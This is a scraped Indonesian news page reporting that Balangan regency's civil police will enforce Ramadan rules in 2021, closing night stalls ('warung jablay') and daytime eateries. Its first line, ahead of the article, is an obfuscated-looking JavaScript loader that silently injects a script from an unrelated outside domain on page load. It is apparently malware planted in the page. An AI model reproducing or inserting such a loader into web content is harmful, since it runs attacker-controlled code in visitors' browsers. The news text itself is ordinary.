(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Selama Ramadhan, Warung Jablay Dilarang Beroperasi


KANALKALIMANTAN.COM, PARINGIN – Penegakkan Perda Nomor 6 tahun 2005 tentang kegiatan Ramadhan, Satpol PP Kabupaten Balangan bakal melakukan pengawasan dan penegakkan aturan, salah satunya keberadaan warung jablay.

Sebagai bentuk peringatan agar Perda ditaati, Bupati Balangan mengeluarkan surat edaran terkait upaya cipta kondisi dan ketentraman umum dan ketertiban masyarakat, serta toleransi umat beragama.

Kepala Satpol PP Balangan, Rakhmadi Yusni mengatakan, surat edaran menjadi acuan bagi Satpol PP Balangan melakukan pengawasan apabila ada pelanggaran Perda yang terjadi.

“Kegiatan yang dilarang di antaranya membuka warung makan pada siang hari, jangan membunyikan petasan, warung jablay atau warung malam diharapkan tutup,” ujar Rakhmadi, Jumat (30/4/2021).

 

 

Terkait masih ada warung malam yang buka, Rakhmadi sendiri tidak menampiknya.

Menurutnya, keterbatasan personil menjadi kendala bagi pihaknya dalam melakukan pengawasan atau razia warung malam tersebut.

Namun demikian, pihaknya akan terus melakukan pengawasan, dan memantau kegiatan tersebut dan menindaknya sesuai aturan yang ada.

Terutama pada wilayah yang menjadi tempat-tempat keberadaan warung malam, diantaranya di Desa Mampari, Kecamatan Batumandi, Desa Juai, Desa Lasung Batu, Dahai, dan Paringin.

Dalam surat edaran yang dikeluarkan, ada poin yang menekankan warung malam atau warung jablay selama bulan Ramadhan dilarang buka atau beroperasi.

Belajar dari tahun sebelumnya, memang ada pelanggaran Perda yang terjadi. Terutama adanya warung makan yang buka pada siang hari.

Pihaknya melakukan tindakan persuasif dan peneguran, serta pemberian surat peringatan, selanjutnya warung tersebut mematuhi Perda yang berlaku.

Tak hanya itu, karena masih masa pandemi Covid-19, dalam surat edaran tersebut juga tertera bagi masyarakat yang berdomisili atau tinggal dan melakukan aktivitas di wilayah Kabupaten Balangan wajib melaksanakan protokol kesehatan terkait Covid-19. (kanalkalimantan.com/alfi)

Reporter: alfi
Editor: kk

 

 


Al Ghifari

Recent Posts

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

3 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

4 jam ago

Nilai Posisi Waspada, Pemkab Kapuas Gelar Rakor SPI MCP dan LHKPN

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melalui Inspektorat melaksanakan rapat koordinasi (Rakor) terkait… Read More

5 jam ago

LITERASI EMOSIONAL DI MEDIA SOSIAL: MENGELOLA EMOSI DAN INTERAKSI ONLINE

"WEBINAR INDONESIA MAKIN CAKAP DIGITAL" WILAYAH KALIMANTAN Read More

6 jam ago

Wabup Banjar Hadiri Haul Ke-68 KH Zainal Ilmi

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi betbaur dengan ribuan orang menghadiri… Read More

7 jam ago

Simulasi Keadaan Darurat di Terminal BBM Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More

17 jam ago

This website uses cookies.